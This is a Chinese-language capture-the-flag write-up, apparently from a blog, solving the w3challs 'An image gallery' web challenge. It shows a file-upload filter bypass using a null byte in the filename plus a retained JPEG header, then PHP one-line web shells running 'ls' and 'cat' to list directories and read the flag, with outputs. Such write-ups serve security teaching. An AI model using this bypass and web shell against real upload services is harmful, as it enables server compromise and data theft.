w3challs web-An image gallery

w3challs web-An image gallery

该题有两个解题关键:

  1. %00截断
  2. 上传一句话木马时注意保留图片头

打开题目页面,是一个图片上传网站,有这样一句提示:

You can upload pictures with the upload formular. Pictures are then stored in the suggestions directory, waiting for the administration's approval.
For security reasons, only jpeg files are accepted.

成功上传图片后,可通过/suggestion/图片进行访问。那么自然而然的想法是上传php文件,然后访问使其执行。
然而上传php文件的时候会发现对上传的文件做了限制:

  1. 文件后缀名
  2. content-type字段

文件后缀名检测的绕过,在此题中用到的是%00截断。如果简单的将文件后缀名改为.jpg,则代码是无法被解析执行的,所以如何在上传时作为jpg绕过检测,而在解析时作为php被执行?
这里利用Burpsuite,将filename字段的文件名改为test.php .jpg,注意php后要跟一空格,这样就可以绕过后缀名检测:

Content-Disposition: form-data; name="upload_file"; filename="test.php .jpg"
Content-Type: image/jpeg

然后在Hex模式中将这一空格的%20改为%00,这样在解析的时候%00后面的会被截断,上传的文件实际会以php被解析执行。

<h1>Upload</h1>
<h2>Upload of pictures</h2>
<h3>December 2042</h3>
<p>
<div class="succeed">The file <em>test.php</em> has been uploaded correctly..</div><br /><br /></p>

需要注意的是,文件需保留图片头,否则也会上传失败。构造文件内容如下:

...(图片头部)
<?php @eval('system("ls -la ../");')?>

然后访问:

http://gallery.hax.w3challs.com/suggestions/test.php

会输出suggestions父目录下的文件结构:

total 44 
dr-xr-xr-x 8 root root 4096 Jan 4 12:46 . 
drwxr-xr-x 1 root root 4096 Nov 19 15:30 .. 
-r-xr-xr-- 1 root root 1532 Nov 19 15:21 basic.css 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 css 
dr-xr-xr-x 3 root root 4096 Nov 19 15:21 images 
-r-xr-xr-- 1 root root 3100 Nov 19 15:21 index.php 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 js 
dr-xr-xr-x 2 root root 4096 Nov 19 15:24 lang 
-r-xr-xr-- 1 root root 125 Nov 19 15:21 lang.php 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 omg_secret_wut 
drwxrwx-wx 2 root xfs 4096 Feb 14 01:27 suggestions

看到一个文件夹omg_secret_wut比较可疑,于是修改一句话为:

<?php @eval('system("ls -la ../omg_secret_wut");')?>

输出目录为:

total 12 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 . 
dr-xr-xr-x 8 root root 4096 Jan 4 12:46 .. 
-rw-r--r-- 1 root root 49 Nov 19 15:21 flag

发现flag文件,打印flag内容即可:

<?php @eval('system("cat ../omg_secret_wut/flag");')?>

输出flag为:

Well done! Flag is W3C{W3lc0m3_t0_y0u_w3b_sh3ll}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值